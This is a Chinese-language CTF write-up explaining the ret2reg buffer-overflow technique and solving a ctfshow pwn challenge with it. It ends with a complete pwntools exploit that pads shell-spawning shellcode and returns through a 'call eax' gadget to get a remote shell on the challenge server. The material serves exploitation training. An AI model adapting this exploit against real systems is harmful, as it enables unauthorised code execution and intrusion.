ret2reg

知识点

ret2reg原理:

  1. 查看溢出函返回时哪个寄存值指向溢出缓冲区空间
  2. 查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
  3. reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)

例题

image-20250706124942240

image-20250706124955931

思路是把shellcode写进buf,然后溢出buf,返回地址用call reg返回到指向缓冲区的寄存器即可调用shellcode

在溢出函数ctfshow的leave处下断点,然后gdb运行查看函数返回时哪些寄存器还指向缓冲区。

image-20250706125522972发现eax,ecx,edx都指向缓冲区,接下来找call/jmp指令,用ROPgadget就可以

image-20250706125819641

这里我们用call eax(用call edx的话后面strcpy函数会改变edx的值),也有师傅说可以默认先用eax,rax,接下来发送shellcode并构造溢出返回call_eax即可。exp如下:

from pwn import *

from struct import pack

from LibcSearcher import *

r=remote("pwn.challenge.ctf.show",28292)

\#r=process("./pwn")

context(os="linux",arch="i386",log_level="debug")

context.terminal = ['tmux', 'splitw', '-h']

elf=ELF("./pwn")

main=elf.sym['main']

call_eax=0x080484a0

call_edx=0x080484ed

shellcode=asm(shellcraft.sh())

payload=shellcode.ljust(0x20c,b'a')+p32(call_eax)

\#gdb.attach(r,'b *0x80486AD')

r.sendline(payload)

r.interactive()